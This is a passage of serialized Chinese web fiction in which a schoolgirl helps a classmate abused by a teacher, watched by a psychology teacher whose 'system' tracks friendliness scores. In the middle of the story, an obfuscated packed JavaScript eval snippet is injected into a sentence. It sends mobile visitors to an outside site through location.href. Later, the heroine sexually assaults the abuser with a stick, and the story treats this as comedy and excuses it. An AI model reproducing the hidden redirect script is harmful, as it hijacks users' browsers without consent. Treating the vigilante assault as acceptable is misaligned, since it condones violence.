她本可以毫不犹豫,但她有很多的“顾虑”。现实从来不是说的那样好听,濮怀玉不能不考虑,不能不顾虑。因为她的救助心理和情结很有可能好心办坏事,没办法完全吻合这件事的复杂性。 眼下,魏老师正坐在办公桌前。空荡荡的办公室里此刻堪称私密空间,而她注意着濮怀玉的微表情。 听到这个消息,少女似乎止不住有些高兴,却又难过着,总之没有如释重负的感觉,一切喜与悲的底色都来自对长远时间的担心——长远地发酵下去,恐怕会背离本意。 这让魏老师的心脏沁出点点血意。 ——濮怀玉一直在被这件事折磨。 她抬起头:“魏老师,你为什么会告诉我这件事?” “因为隗老师告诉我,证据是你交给他的。”此前,魏老师经常为濮怀玉递交照顾另一位孤儿的礼物,现在她为隗祯递话,“隗老师困惑于你没有第一时间交给我,毕竟他是男老师,但他依旧想要表达对这份信任的感谢。” “……他没有保守秘密。” “可能是你没对他说过,‘我要做好事不留名’。”魏老师难掩心疼,“如果不是邱老师以为有个热闹要凑,非要拉着我去看,我也不会知道这件事。” “何必让自己这么难受呢。” 不再纠结于消息如何传递,濮怀玉话锋一转:“邱老师为什么要看学生的热闹?而且那是个女同学,她不会觉得可怕和可怜吗。” “至于为什么难受……魏老师,我觉得这是很自然的事。我不知道她叫什么,跟她不熟,但我不可能是她的经历无动于衷。” 濮怀玉有自己关心的重点,执拗追问:“魏老师,邱老师真的说,自己是去看热闹了?” 说同事坏话对魏老师来说有点难度,但她也很不赞同邱老师的言行,只能委婉道:“邱老师上了年纪,本来就跟年轻人想法有代沟,措辞难免欠考虑。” 要是代沟能越过是非,沧海岂止能够变桑田,点石成金都可以实现。濮怀玉刚要开口,便见魏老师揉了揉太阳穴,叹息道:“但她当场说是付可心同学勾引的江鸿杰,肯定还是太过了。” 濮怀玉握紧拳头。 “邱老师觉得自己现在不是凶手,可以随便说话;等尘埃落定,姓江的进局子,女同学需要自我疗愈,她会成为加害者的。” 提及凶手,她又问:“学校会怎么处理他?” “目前是停职,后续应该会开除。” 应该。濮怀玉独自掂量着这个词的重量,嘴里苦味掺杂着铁锈味。 或许她无意间把口腔咬破,又或许没有吧,没空管了。她定定神:“付可心同学现在怎么样?” “付可心的妈妈想带她回家修整一段时间,付可心不愿意,因为没过多久就要高考了。何老师应该会在固定的时间给她做心理疏导,帮助她更好地融入现阶段的学习。” 但魏老师和濮怀玉都知道,很难,要是有这么简单就好了。 晚餐时间,濮怀玉简单打包了晚餐,要去咨询室碰碰运气。 步入柔润的灯光里,隗祯揉了揉眉心,正准备收拾好物品离开,濮怀玉提着两个包子出现在门口。 他索性坐了回去。 “开着门正好散散味儿。” 濮怀玉则在紧靠办公室门的沙发上坐下,开始慢慢咀嚼微凉的包子皮,贫瘠的豆沙馅像是从干涸的地缝里渗出一朵残枯的玫瑰,好不容易结出来,下一秒便被她吞咽。 “魏老师告诉你了吗?” 她三字五除二吃完第一个,开始第二个,肉馅的大包子,能遮住小半张脸,吃着回着:“告诉了。” 隗祯双手合拢,放在身前:“那我要告诉你一些别的,是跟邱老师有关。” 邱老师参与了这场揭发,不过是作为一个拙劣的辩护人,不知全情便开始表达观点。至于隗祯,他有理有据反驳了邱老师的论调。这就是一场不容置喙的侵害,是一个上位者利用权力卑劣地在弱者面前索求认同,既滑稽又可恶,没有任何回旋的余地。 “而你,邱老师,你不分青红皂白就先站在江老……江鸿杰那边,并不能给你带来实际的益处。” 隗祯从前见过不少这样的人,不分年龄,他们对男性力量的崇拜乃至于迷信是很难想象的。虽然身份大不同,彼时的隗祯也从未享受这种人的追捧。 因为他的力量并不来源于此,他很明白。 母亲的观点不一样,要温和很多。她告诉隗祯,这些人、尤其是这些人中的女性,她们只是学会了如何消化旷日持久的焦虑症,尽管是以非正常的方式,总之是可以被理解的。 可受害者出现了,隗祯也已经被濮怀玉推动着走在最前面,当了一次正义先锋,所以他不会安安静静的。 濮怀玉听完,沉默片刻后:“我不会这么说。” “我会问她,‘邱老师,您这样为江老师辩护只有一种可能了,您跟他是一家 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到家冲洗去一身的倦意,隗祯后知后觉问起,状似不较真,内容却多少有点斤斤计较:「我现在,应该跟濮怀玉的好朋友地位差不多了吧?」 「叮,检测到任务对象目前对秦紫怡同学的友好值为92,卫殊同学为90,请宿主继续努力哟。」 声音有种说不出的嘲讽。 你在进步,别人也在进步,能不能多想想自己的问题.jpg 更何况,100和100之间还不一样。宿主对任务对象的朋友产生竞争心,系统实在觉得奇怪,差点就要说,‘你们人类不要低估自己建立不同种类羁绊的能力啊’‘对老师的敬畏心跟朋友之间的友情能一样吗’。 而对濮怀玉来说,明天又是新的一天。 “3班的英语老师突然要换,他们班同学可不乐意了,说这个节骨点换老师学校一定要给个说法,要写联名信。” “江老师不是教得挺好吗,我高一就是他教的,他是突然要辞职?” “不会吧,一中待遇挺好,我都想着大学上个师范专业,以后考回一中……” ——可对有的人来说,昨日的灰烬没有被隔断。 付可心正在接热水,稳稳妥妥用水壶正中心接着。她莫名从纤细的水柱中看见自己,容貌平凡,只有刻意装扮时才漂亮点。 这样的她,怎么会被江老师看中? 或许是一场梦。梦里都没有江老师这号人。而她不是受害者,只是个和这张脸一样平凡的高三学生。 失神间,付可心吃痛地收回手,发出“呃”的声音,然后下意识想:她明明都做到最好了。 如此稳妥,仍有热滴四溅。 没有边接水边跟人谈笑,没有随便地让水柱在边缘冲刷,只是普通地让杯底吻合那个饱满的圆,这样水就能从中央流进来……但她还是被刺痛了。 “得用冷水冲才行。” 突然被抓住手,付可心忽然想要呕吐,整个人皱缩起来——直到她看到少女的侧脸。 愣神的时间,她已经跌跌撞撞跟着眼前的人走进洗手间,手放在水龙头下。 此刻,任何人的面容在付可心眼里都有点模糊,也包括眼前的少女。对方轻抿着嘴唇,犹如被泡在不断变化的波浪里。 冲完水,濮怀玉发觉自己反应激烈,收回手按下水龙头说:“对不起。这是妈……孤儿院的院长告诉我的。” 她真的很聪明,此刻就像一个热衷于讲述自己的NPC那样,恰到好处地渗进身世背景的解读。 “哦,我知道你。”这么特别的出身,付可心当然有印象,“但你为什么要帮我。” 因为偶然路过。 因为被院长教育要乐于助人。 “因为……你听说过守护天使吗?” 最终,刻意营造的偶然变成了偶然制造的刻意。“你们班的心理老师是隗老师吗?隗老师跟我们介绍了一个叫做‘守护天使’的游戏。” “嗯,我知道。”付可心补充,“这是心理老师的必备吗?真的,特别老土的游戏。” 她若无其事发挥幽默感。 “……其实没有那么老土,隗老师说我们可以自己选择守护的对象,无论是自己的班级还是别的班,都可以。” 濮怀玉也若无其事双手背向身后,像乱绳般彼此紧缚在一起:“我突然想守护你了。” “可是,守护天使不能让被守护的人发现才对。” “对。” 付可心缓缓走回饮水机旁,抱紧自己的:“你让我知道了。” “……对。” 22. 022 现在的付可心害怕一切男性,就连爸爸都有点害怕。 所以待在学校,尤其是在何老师的办公室写作业的时候,她需要与隗祯隔开一段距离。 对这位隗老师,她也是“有点”害怕。害怕的程度比较轻,但还是害怕,害怕会被异性伤害,也害怕那个慌不择路抓住男老师的自己。 不过最近,付可心想要听到的消息多了一条。原来只有江鸿杰被开除,从此身败名裂,在“最想听到”的消息列表里。现在多了个一个“很想听到”的消息,就是濮怀玉能来陪她,一起在办公室写作业。 她知道自己的懦弱,不敢跟朋友诉说一个字,但敢借助守护天使的由头,让认识没多久的濮怀玉前来陪伴。 不,或许她们认识很久了。付可心重新翻出了被堆积在书房角落的校报,翻阅的时候她几乎要被少女所背负的完美震慑失声:她的履历似乎纯净到无可挑剔。 “这个孩子甚至早早离开了养育的巢穴,是被雄鸟和雌鸟踢出去的”——她的心声跟濮怀玉自小一路走来碰到的那些想要帮助她的人彼此重叠。 所以,付可心发出了组队邀请。不会太久的,她着急地向这个“完美的人”证明。 父母实在不放心她,所以她只在咨询室写一小段时间的作业,是晚自习的二分之一。付可心说了好多好多,意在表达“陪过我,你依旧能够拥有自己的时间”。 濮怀玉:“我得先告诉班主任。” “你要是来不了……也没关系。” 一句话让付可心陷入更深的沮丧。 但是很快,仅仅隔了一节课的时间,濮怀玉便来到3班后门,对付可心做了个“过来”的手势。 她是半个风云人物,一点跟人打过架的轶闻并非白璧微瑕,反而点缀衬托出了一股浓烈的侠气。再加上高挑的个头,抖擞的精神,一张陌生的面孔引起3班不少人的注意。 就在小跑向她的过程中,付可心产生了自己也变成风云人物的错觉——不是她害怕的、被全校同学知道私事的那种“闻名”,而是她向往的那种优秀且强大。 “老师说,我能跟你一起写作业很好。” 濮怀玉从口袋掏出从隗祯办公桌上顺来的巧克力放在她手心,借花献佛,“那就‘二人晚自习’的时候见吧。” “二人晚自习见。” 就像是快要枯死的藤蔓要汲取生命力,濮怀玉并不介意付可心对自己伸出手,她觉得开心。 其实魏老师就算不同意,她也会悄悄离开,但魏老师又不可能不同意。所以,濮怀玉在得到肯定后才能悄悄地走,连前桌的秦紫怡都没有惊动,乘着夜色走向那栋略显寂寥的楼。 何老师在里面吃晚饭,付可心的书包放在地上,她正从里面拿出作业本。 见濮怀玉来,何老师三下五除二喝完保温桶里的热汤,擦嘴时说:“我马上就能吃完饭,不打扰你们。” “何老师,吃饭吃太快对肠胃不好。” “对,慢点吧。”付可心跟着附和。 但何老师确实进入了收尾阶段,打扫完仅存的食物残渣就准备离开。 先前她走,付可心一个人有点害怕。如今有濮怀玉在旁边,她总觉得这里虽然安静,但不代表鬼怪可以侵袭。 对黑夜和孤独的畏惧被打散,付可心仍有一点顾虑:她畏惧作为异性,有时候会在咨询室留下来的隗祯。 “不用害怕。”濮怀玉靠在椅背上,回看了一眼保持外敞的门,“我进这里面要敲门,他进这里也要。” 而今天,隗祯留下来写教案。 “晚上好。” 彼时濮怀玉正在咀嚼他糖罐里的汽水味软糖:“晚上好。” 耳边传来付可心有些紧绷的问好。 隗祯没有说什么,坐在自己的办公桌前,手脚都很轻,只有笔尖划动纸张的摩擦声,“沙沙”地轻轻摩挲着。 其间,付可心圈画出一篇数学练习里的几个题号,然后拍了拍身旁少女的胳膊,小声说“濮怀玉,我不会”。 濮怀玉迅速扫了一眼,便开始给付可心讲解。 “……能明白吗?” 付可心愣愣的,十分听了四五分,很努力地在听,但是知识很难进脑袋,只能摸了摸头说:“濮怀玉,你好厉害啊。” “还可以吧。”濮怀玉面无表情推辞。 到后来,付可心发现濮怀玉只要跟自己排排坐,她就忍不住关注濮怀玉在干什么,自己的作业根本写不好,急了起来。 而以付可心现在的状态,一着急,根本说不好话,半天才憋出一点断断续续的句子:“我们……不能是同桌!” “那我换一张桌子吧。”濮怀玉静静地看向她,眼神里没有任何误会,立马知晓真实的含义,动手收拾帆布包,“这样我们就不是同桌,你专心做你想做的事就行。” 濮怀玉搬到不远处写写画画,付可心一下子专注很多。 到了时间,办公室的门被敲响,是她的妈妈。 此时隗祯已经离开了一阵,就跟濮怀玉挪位置的时候一样安静。室内只有两个女孩,而这个满脸沧桑的女人在跟濮怀玉对上视线的一刻,挤出难看到仿佛要落泪的笑容:“你就是濮同学吧,我把付可心带走了。你也……你也快点回教室。” “再见。”濮怀玉坐在位置上。 付可心朝她晃了晃手,再被母亲紧紧护到胳膊下面。 然后濮怀玉整理好一切,离开时用力一点,就这样带上了门。 正值晚自习中间的休息时间,秦紫怡跟卫殊说着话,看见她拎着帆布包回来,试探道:“我还以为你身体不舒服,回宿舍休息了。” “我怎么觉着,濮怀玉的程序里就没写‘会生病’这三个字呢。” 濮怀玉淡淡回了句“没生病,有事去了”,两个人对视一眼。 卫殊:“你就今天一天有事吧?” “可能得有段时间。” 俩人又看了彼此一眼,最终还是没有问下去,既然濮怀玉不愿意透露更多。 但是,口头约定并不等同于每日都通过气。至少这一天濮怀玉到的时候,办公室里只有隗祯。 “付可心今天应该没来学校,我没看到何老师给她做心理咨询。” 濮怀玉坚决:“我想确定一下。” 将付可心托管在这里,办公室确实有她家人的号码。于是隗祯三个数字三个数字地报,濮怀玉在固定电话上按动。 陈旧的老电话,每个按键都好像黏黏糊糊的,但濮怀玉要求“清晰”。 “喂?” 她直起身:“叔叔好,我是付可心的同学。我们今天应该一起自习的。” “可心今天生病了,没去上学。她现在已经睡着了。”中年男人说出口的每一个字,都好像紧挨着叹息,“谢谢你陪她自习,也谢谢你打电话。” 濮怀玉说“不用谢”,挂断电话。 确认到其他东西,莫名地,她想要长长地舒出一口气——太好了,至少付可心最亲近的双亲都能够感同身受。 至少他们都真的爱她,而不是将她看作污损的所有物。 隗祯:“放心了?” “不算放心。”濮怀玉在自己的座位安顿下来,笔与笔碰撞出很亮的音色,“她的注意力不太集中,是应该服药干预的状态。” 这一点,隗祯爱莫能助。他只有心理学位,没有医学学位意味着没有处方权。况且就算系统真的给他配备这个金手指,隗祯也不能接受自己这个学计算机和金融的外行人来执掌生杀大权。 “最好的办法是休学治疗,但她不愿意。” “嗯。因为她希望什么都没发生过。”濮怀玉说着话,也不耽误笔下进行运算,“不想面对现实。不难理解。” 付可心或许以为她会是一剂良药,但事实是她只是隔靴搔痒的钝钩子。 对这个答案,隗祯沉默了很久。中途何老师回来拿了一趟落下的东西,看见濮怀玉坐着,想告诉她今天付可心不在,她可以回去了。然而隗祯轻言道“她知道”,于是何老师独自拿完东西就出了门。 隗祯忍不住去看濮怀玉。 85的友好值,隗祯要是不能隐隐摸到濮怀玉情绪的门槛,那他在一中待的这半年多是比虚度光阴更严重的浪费。 ——她在为自己的无力自谴。 真正设身处为受害者考虑的人,如今只能默默对墙做题,娴熟和机械地画下符号,就好像在说“你的共情力也不过如此”。 越想越不忍心,隗祯起身慢慢走过去,脚步如猫一般无声。 隗祯想告诉她,无论是付可心还是他们这些小心翼翼想要帮她渡过难关的人,都已经足够理想。 然而探过身去,他发现被濮怀玉垫在手臂下的纸张早已不是其他省市的模拟真题,而是一张信纸。 她似有所感,扭头后目光锐利:“你偷看。” “我没有。……好吧,客观上像是在偷看,但我发誓我一个字都没有看见。”防贼的眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16521916|185205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神有如针扎,隗祯忽有些不是滋味——他以为自己已经足够值得信任。 他尽力忽略这股失落,像个圆滑的成年人,温和地解释:“濮怀玉,我以为你心里不好受,想跟你谈谈。” 即便隗祯这么说,濮怀玉也不太高兴:“不好受,也没有别的办法。我自己又不是药。” 「友好值-8」 「当前友好值:77。」 隗祯无言以对,似乎也无从道歉——他觉得自己并没有做错什么,为什么要致歉。但不道歉,濮怀玉还生着气,生着太不信任他的气……隗祯只能揣着满心眼的酸水坐回原位。 只是,就在接下来濮怀玉默默写信这段时间,她对隗祯的友好值一点一点加到了80,不动了。 从来对隗祯态度刻薄的系统这时宽慰他:「濮怀玉正怨着自己呢,加上你举止不当,所以有点迁怒的意思,过了这阵就好了。她是个好孩子,你知道的。」 「我当然知道。」所以隗祯觉得委屈。她不是坏孩子,她很好,他也不是坏人,所以为什么,他值得一下子扣除五格友好值?明明他都已经做了这么多,能做的都做了。 伴随搁置下笔的“啪嗒”声,平稳的女声传来,有点没头没尾:“这里很好闻。” “教室总是一股臭味,男同学很多,夏天的时候空调明明开着,却总是失效,很热。但这里的温度一直都很合适,气味也很好。” “这是我今天也想待在这里的原因。” 她给他们递台阶呢。原先受了冤枉和无端指责的坏心情刹那间一扫而空,隗祯重又轻松起来。 就像系统说的那样,她是个好孩子。他也有很多证据相佐:智慧,正义,坦诚,言行一致,富有同情心……很多很多。 “谢谢,可能是我经常打扫的原因,老师有点轻微的洁癖。”隗祯克制着语气,“魏老师同意的话,你以后也可以过来写作业。如果有咨询的学生在,坐在里面也有空调吹。” 濮怀玉“嗯”了一声,犹豫片刻,这次正面解释了自己方才的行为:“我刚刚在写感谢信转换心情,给资助我的姐姐,碰巧和我一个姓氏。虽然一中的助学金和我暑期打工攒下的钱可以基本覆盖学费和生活费,我已经不像以前那样依赖她,但我们还会有书信往来。” 对她来说,那位远在燕京做服装生意的姐姐就像是一枝更有力的藤蔓,心甘情愿将自己提供给濮怀玉,让她在钱财上没有后顾之忧地攀附、生长。 这段情谊,濮怀玉非常珍惜。她想让姐姐看见,自己绝没有辜负她,会长成很好的人。 隗祯笑言:“你的姓氏很少见,那位濮女士跟你真的很有缘分。” 这句话让濮怀玉给出一格友好值。 “我知道,我是很幸运人。即便出身不好,也一直有好人帮助。”少女有自己的考量,“所以我想让付可心明白,即便遭受如此大的不幸,她以后的人生很长,会遇到很多好人。” “——就以我们为开端,让她相信这样的人存在。” 这是濮怀玉唯一能做的。 就像她气盛之下所言,自己确实不是药,但应该也有能做的事情。 索性在这自习了一整个晚自习,隗祯也就这样留到了最后,一口气备完大半个学期的课。 高三下学期的心理课更像是每隔一段时间的集体心理疏导,隗祯不用再考虑主题的多样性,要围绕的无非是考试、学校和家庭关系这三样,但也不能太省事。 结束后,两个人一齐站在电梯前。 看着数字从底层向上一点一点浮起,濮怀玉忽地开口,“我骗了付可心,说我是她的守护天使,她也不清楚我知道她经历的事。” “隗老师,我拿你当借口了。我说,是你举办了这个老掉牙的游戏。” 都这样了,还要挤兑他一句呢。隗祯的心情很好:“嗯,我知道。” “你知道?” 走进电梯,隗祯在前,又一次跟濮怀玉各自占据两角,形成勾股定理里的最长线。 他答得很笃定:“我知道你有你的理由,虽然不清楚具体是什么,但我们各自有各自的工作。” “你是付可心的好同学,我辅助何老师给她做心理疏导。我不干涉你的治疗方案,拿我当挡箭牌也不是不行,别把我的工作搞黄就行,濮怀玉同学。” 这是会为她保密的意思。 濮怀玉顿时放下心来,率先走出电梯时脚步轻快,对隗祯挥挥手说“再见”。 “再见。” 23. 023 过了半周的时间,付可心回到学校,看着比之前还要没精神。濮怀玉在晚自习的间隙看到她就着水偷咽药片,问过何老师知道是治疗抑郁症的药物,她有中度抑郁。 “濮怀玉,我真的……感觉很好,特正常。你应该没有问何老师什么吧?” 转头,濮怀玉撒起慌来面不改色:“没有啊,我能直接跟你对话,为什么要问何老师。” 付可心放了心。然而面对刚刚发下来的试卷,她的注意力怎么都无法聚焦在黑字上面,一旦想要思考点什么就想吐。 “……我可能需要睡一会儿。”她竭力用一个普通人的语气阐释自己突然困倦,理所当然要去找床。 濮怀玉头也不回,就好像真的很平常:“里面有床有被子,很干净。” “好。你帮我跟何老师和隗老师说一声吧,如果他们中途回来。”付可心勉强挤出笑,“还有……帮我看一下时间。我就睡半个小时,作业还没写完呢。” 其实没有人逼付可心交作业,作为班主任的邱老师都只是让她尽力而为,那张前不久还语气激烈说着“小女孩勾引男老师”的脸笑起来非常僵硬,比起和善,更像是不得已的让步。 付可心前不久还能感受得到她对自己很微妙的偏见,不知道为什么,但好在现在感受不到了。她只想要睡一觉而已,妈妈也告诉她可以睡,只是不能太久。太久她会害怕。 就在付可心休息的时候,濮怀玉蹑手蹑脚走近门,把小小的缝关上。 付可心很快就睡着了,满脸的疲色。 半个小时以后,濮怀玉准时叫醒她。在知道何老师和隗老师都不在以后,付可心准备一个人努力写好作业,写完就代表“一切都回到正轨上”,虽然她心底清楚现在的自己很难做到。 结果她拿起试卷一看,很诧异:“我的试卷怎么自己写完了?” 不远处的少女偏过头,无所谓道:“是你自己写的吧,被你忘记了而已。你不是跟我说过你一直很健忘吗?” 付可心把试卷翻得“哗哗”响,用犹在梦中的语气迷茫地说:“……确实……” 因为,确实是她自己的字迹。虽然颜色更深一点,笔锋更明显一点,但付可心觉得每个数字和字母的弧度很像她的。 她有点疑惑了,不过想想就算不是自己写的,她的梦想就是一觉醒来作业能自己完成,实现梦想有什么不好的。 总之,这一晚付可心非常罕见地写完了所有的作业,很开心很开心。 跟着母亲回家前,她一下子窜到濮怀玉身边,跟她说悄悄话:“濮怀玉,周五晚上我们溜出去,一起吃晚饭吧。我有钱,我来请客,你陪我就行。” 她现在正常了,当然可以正常外出,就跟她的朋友们一样。 虽然回过神来,她们已经习惯不带她。她掉队了,这场“失去”似乎是自己造成的。在归咎的过程中,付可心有种被冤枉的冤屈感。 “去嘛去嘛。” 短时间内,濮怀玉考虑了很多,最后点了头:“好。” 星期五,濮怀玉先是去了办公室一趟。隗祯就坐在里面,天意让她告诉对方,她便将这件事告诉了他。 “可以是可以,有你带着她,我还是挺放心的。”隗祯表现出极大程度的理解,随后将自己的号码报给她,“你带手机了吧?带了就好。要是有什么突发事件,及时联系。” 随后濮怀玉下楼,跟付可心在约定的角落见面。最后一节课下随走读的学生一起混出门是濮怀玉的拿手绝活,主动提出要叛逆一次的付可心反而是新兵蛋子,得一直拽着她的衣角才行,身后装着外套的小背包瘪得不能再瘪。 紧挨着人群让她焦躁不安,索性濮怀玉动作很快,到后来反手拉住她,小跑了起来。 比起提升速度尽快离开,她们更像是在感受风的纹路,里面传来花草和晚霞的味道,属于鲜活的生命——而这样的运动量,就算是付可心也不觉得累。 为了赶时间,两个人上了公交车。全过程都是濮怀玉投币、找座位,付可心只需要在她里侧的位置坐下,用她的老人机玩贪吃蛇和俄罗斯方块就可以。 “到了。” 濮怀玉率先跳下车,付可心也想跳,但她最终是被濮怀玉一把抱下去的。原本付可心想因为她的谨慎、不让自己跳下,抱怨地说一句“真没劲”,可回忆起刚才整个人瞬间腾空的感觉,付可心心想:其实还怪有意思的。 目的地是一家咖喱饭卖得很好的小店,整家店属于小而精致的类型,还提供用番茄酱在蛋包饭上绘制图案的服务。也不算有很高的技术门槛,毕竟濮怀玉吃了一次,仔细看了看便知道要点什么,学回去给孤儿院的孩子们画卡通人物。 “一份猪排咖喱饭,谢谢。” “我要蛋包饭。” 就像冲着儿童套餐附赠的玩具一样,付可心选择蛋包饭也有非常童真的理由。她转而看向濮怀玉:“今天我请客,你应该吃贵一点的东西。” “吃晚饭的时间比较赶,便宜的食物往往是快餐,很好入口。就这里吧,别走了。”濮怀玉无所谓道。 等两盘饭先后端上来,服务员询问付可心想要什么样的图案。她想了想:“那就两个签手的火柴人吧。” “好的小姐姐——” 在付可心看着服务员的时候,濮怀玉也在注意她脸部的微表情。期待的同时,因为疲劳又有些心不在焉,就好像被劈开成为两个人。 等服务员画完,付可心状似惊喜地道谢,然后挖动半熟的蛋。很鲜很嫩,裹着渗进酱汁的米饭,味道真的很好。她露出了惊艳的表情。 惊艳归惊艳,付可心只吃了三分之一,便表示再也吃不下了。 “我来吧。”吃了大半盘浓厚的咖喱饭,猪排动了三分之一,濮怀玉很清楚自己的食量不止于此,付可心愣愣点头的工夫就把她眼前的盘子拖到自己面前,“不能浪费。” 大口吃饭,再细细咀嚼。濮怀玉的吃相干脆利落,却又不会给人粗鲁之感,大快朵颐的同时仿佛能唤醒观看者肚子里的馋虫。 付可心咽了咽口水:“我……我又想吃了。” “你不嫌弃我就行。”濮怀玉还得也干脆,不忘将一小块猪排夹到她盘中,“这个也好吃,你试试。” 并非出于吝啬的施舍心理,付可心能不能吃猪排还是个问题。倘若她面露难色,濮怀玉也做好了“抢”回来的准备。 但当付可心试探着将猪排放进嘴里,缓慢咀嚼的时候,她的眼睛一亮,摸着两边脸颊陷入油脂的香气里:“豪——好吃啊!” 濮怀玉嘴角微微上扬:“你现在像食品广告里的主角。” “因为真的很好吃啊,就算被酱汁打湿了一点点,还是很好吃。” 但付可心还是没有吃完,汹涌的食欲反而渐渐堆积成抗拒。 然后,第二次了。濮怀玉第二次把她的盘子拎过去,说“不要浪费”。 付可心:“我以为只有爸爸妈妈会吃我的剩饭。” “其实还有曾经饿惨了的人。”濮怀玉看了眼时间,她们两个动作还挺快,一勺一勺舀起来的动作悠闲起来,“我也没有洁癖,吃点剩饭没什么,好养活。” 吃完饭,濮怀玉想要付自己的,结果付可心紧张兮兮地拦在她面前,匆忙结了帐。 “我都说了,我请客。” 濮怀玉松开撑着店门的力道,在她后面走出:“哦,我忘了。” 慢慢散步到公交站台,濮怀玉确定没有走错地方,双手插进兜里站着等。付可心则有点疲劳,再加上吃了不少主食,头脑昏昏沉沉的,似乎就要坐在长椅上睡着了。 伴随着春困的,却是渐渐被远处身影放大的感官体验。视线触及那人背影,付可心骤然站起身,微微屈膝躲在濮怀玉左侧。 “怎么了?” 对了,她不知道。在濮怀玉眼里,自己是个百分之九十的正常人,只是有点心理上的小问题。 此刻,付可心脸颊有如过电般,呼吸不可避免粗重起来,尽管如此她也尝试着直起膝盖:“没什么……真、真没什么。” 而濮怀玉顺着她的目光转过头。 江鸿杰。一个人刚吃完晚饭出门,看起来还挺悠闲。 目前他属于停职状态,隗祯告诉她,原本学校打算开除他,但这事一直都是秘而不宣、只在小范围内传播的状态,没有足够的舆论重量,因而给了他托关系周旋的空子去钻。 “……我们要坐的是62路,你要是能自己一个人坐回学校最好,不行的话跟我来。” 说罢,濮怀玉把自己的手机和零钱给她,然后踱到广告牌后面。 她在这里找到了自己的武器——一根长短、粗细合益的木棍,直径大概是擀面杖二分之一,也很可观了。 到底怎么走?听了濮怀玉的话,付可心陷入纠结。她想等濮怀玉一起,但对方已经拿着凶器快步朝江鸿杰走了过去。 付可心不想靠近江鸿杰,更不想跟他有任何形式的接触。哪怕只是被他的目光扫视,在原地干着急的同时心脏砰砰跳,也难以忍受。 怎么办。怎么办。 隗老师实名举报的那一日,对她来说似乎是解脱,但又陷入了另一重地狱。至今付可心的脑袋里都留存着江鸿杰辩解时诡异的笑容,以及伴随嘴巴张合似乎下一秒就要吐出毒液的蛇信子。 他说了什么,做了什么,付可心一回想就想呕吐。 ……等等,濮怀玉不是不知道吗 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江鸿杰并不熟悉这一带的地形,从大路跑进小路,从有摄像头的地方跑进只有灰尘老墙行注目礼的角落。毕竟他是男人,而且是年轻气壮的中年男人。这么想着,江鸿杰跑步的速度逐渐慢下来。 有什么可怕的,一个女混混而已。他安慰着自己,怎么会被一个年轻女孩吓破胆。 他这样想,濮怀玉就更好堵他了。 “找到你了。” “孩子啊,你这样拎着根棍子过来,我很难不想歪。”江鸿杰转过身,用说教的语气,“你是哪个学校的?看起来特别脸熟……” 他只记得漂亮的女学生。濮怀玉长得偏英气,气质又很冷硬,不是江鸿杰的“type”,自然得不到他的记忆。 付可心则躲在濮怀玉身后,有些喘不过气,整个人都在抖。 好近,好恶心,为什么他能继续装成为人师表的样子,明明隗老师已经戳破那上面薄薄的一层:他没有老师的样子,她也根本不是两性关系里所谓的女朋友。 为什么这样……付可心抓住濮怀玉衣角。 见濮怀玉不说话,江鸿杰镇定不少:“你看起来也不像混混啊,躲后面那个也不像。怎么,敢出来追人,胆子这么小吗?” 突然,付可心察觉到自己紧皱的手被身前之人拨了一下。是被放弃了吗?万念俱灰之间,濮怀玉的行为却出乎所有人的意料。 失去牵挂,她大步上前,毫不犹豫将江鸿杰踹倒在地。 随后就像牧场里的屠夫一样,把哀嚎的中年男人翻过去,木棍在手里转出劲风,然后对准屁股之间,隔着布料精确地插了进去。 …… “——事情就是这样。” “我把木棍插进了他的[哔——]里面,但我更想做的其实是把他的[哔——]割下来,塞进他的[哔——]里面。” 哇塞。付可心蹲在她背后,听完才捂住耳朵意思一下。 “出血了吗?”濮怀玉拿着小灵通,回过头看了一眼,“出血了吗……没有。确定没有。我虽然是第一次做,但是挺有天赋的。” “他好像晕倒了。……好的,我马上就离开作案现场。” 坐在公交车上,付可心握住濮怀玉刚刚洗净的手,靠在她肩膀上:“你有一点小暴力。” “还好吧。” 她什么都不知道,只是在看见江鸿杰的那一瞬间,不知道为什么,木棍先吸住了她,然后就跟江鸿杰的[哔——]看对眼一样被吸过去,她除了松开手,天高任棍飞,那能怎么办。 “但我很喜欢。” “嗯。不过,最好还是不要学我。” 另一边,隗祯重新打开心理咨询室的门,然后慢慢走到工位旁,每一步都在冒汗。 他终于体会到了魏老师的感觉,而且一开始接手的就是重量级事件。 「……我可以请问一下,这对濮怀玉以后正常升学有影响吗?」 系统冷静地翻阅原著:「她还是个孩子,是人渣的[哔——]太不守男德吸住了她的木棍,罚她回宿舍反省一下就算了。」 「这样啊。那捅了就捅了吧。」 心情经历大起大落,隗祯觉得之后可能得在抽屉配备速效救心丸整顿受刺激的心。 但系统敢用板上钉钉的语气这么说,好歹濮怀玉的未来是保下来了。 「所以,你这是屈服了?现在愿意做任务对象的金手指了?」 「怎么能这么说呢!」隗祯刚松一口气,闻言恼羞成怒,「这可不是金手指不金手指的问题,难道你乐意看见濮怀玉以后的人生被毁吗?!」 「好好好,知道了。这么激动干什么。」 系统嘴上敷衍,其实想的是:这不是完全变成濮怀玉的形状了吗。 24. 024 “隗老师好。” 隗祯抬头,摘下眼镜揉揉眉心和酸胀的眼睑,再戴上去:“我感觉不太好。” 濮怀玉不说话了。 付可心则疑惑道:“隗老师,你是身体不舒服吗?” “谢谢你的关心,但我不是。”刚回答完,隗祯便意识到一点,这是付可心第一次语气自然地跟她说了这么长一个句子。 但他很快回过神来,试图将这股“自然”顺延下去,转而面向她身旁的少女:“濮怀玉,你怎么这么敢。” 若说是责怪,未免也太平静。但隗祯确实明确表达出了自己的不赞同,让濮怀玉在自己办公桌的另一边坐下——她又露出那副双手轻轻搭在腿面的老实相。 隗祯有点想笑,但他必须抑制住几欲上扬的嘴角,语气略带训诫意味:“你觉得你这样做对吗?做之前要考虑考虑后果,这里没有人能帮你兜住。不要因为不值得的人,反而毁了自己人生所有的可能性。” 如今的他仅是一个无权无势的小小心理老师,能教会濮怀玉的只有潜心沉淀,到了时间再伺机而动。 